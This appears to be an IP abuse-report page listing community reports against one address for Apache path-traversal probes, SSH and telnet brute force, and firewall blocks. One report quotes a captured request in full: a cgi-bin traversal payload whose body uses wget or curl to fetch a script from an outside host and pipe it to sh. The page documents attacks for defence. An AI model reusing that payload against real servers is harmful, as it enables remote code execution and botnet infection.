Log in to view charts and search reports for this IP.
Log In
No reports in the last 60 days
94.72.117.44 has been reported 145
times. The most recent report is from
.
The full history is preserved below and remains searchable. A
0% score reflects the absence of recent activity, but
this is not a guarantee that earlier reports were invalid. Abuse confidence score decays,
naturally, over time, when the abusive activity stops.
IP Abuse Reports for 94.72.117.44:
This IP address has been reported a total of
145
times from
100 distinct
sources.
94.72.117.44 was first reported on
, and the most recent report was
.
ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/94.72.117.44
2026-04-0 ...
show moreThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/94.72.117.44
2026-04-08 01:01:43 /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh,{"body":"(wget --no-check-certificate -qO- https://46.151.182.82/sh || curl -sk https://46.151.182.82/sh) | sh -s apache.selfrep","content_type":"text/plain","header":{"Accept":["*/*"],"Connection":["keep-alive"],"Content-Length":["119"],"Content-Type":["text/plain"],"Upgrade-Insecure-Requests":["1"],"User-Agent":["libredtail-http"],"X-Forwarded-For":["94.72.117.44"]},"host":"61.169.51.107:443","method":"POST","proto":"HTTP/1.1","remote_addr":"10.90.104.20:11811","status_code":200,"url":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","user_agent":"libredtail-http"}
show less
This IP address carried out 2 SSH credential attack (attempts) on 08-04-2026. For more information o ...
show moreThis IP address carried out 2 SSH credential attack (attempts) on 08-04-2026. For more information or to report interesting / incorrect findings, give me a shoutout @parthmaniar on Twitter.
show less
Attack detected by Fortinet - apache: Apache.HTTP.Server.cgi-bin.Path.Traversal - 2026-04-07 09:12:0 ...
show moreAttack detected by Fortinet - apache: Apache.HTTP.Server.cgi-bin.Path.Traversal - 2026-04-07 09:12:05 - Source Port 52394
show less
3 attacks on shell probes:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HT ...
show more3 attacks on shell probes:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
show less
Automated ban via infra-monitor: crowdsecurity/http-cve-2021-42013, crowdsecurity/http-cve-2021-4177 ...
show moreAutomated ban via infra-monitor: crowdsecurity/http-cve-2021-42013, crowdsecurity/http-cve-2021-41773
show less
Blocked by UFW (TCP on 80)
Source port: 51342
TTL: 59
Packet length: 40
TOS: 0x00
This report (for ...
show moreBlocked by UFW (TCP on 80)
Source port: 51342
TTL: 59
Packet length: 40
TOS: 0x00
This report (for 94.72.117.44) was generated by:
https://github.com/sefinek/UFW-AbuseIPDB-Reporter
show less
Honeypot [uk-production01]: Brute-force attack detected on 23/TELNET
• Credential used: admin:admin
...
show moreHoneypot [uk-production01]: Brute-force attack detected on 23/TELNET
• Credential used: admin:admin
• Number of login attempts: 1
show less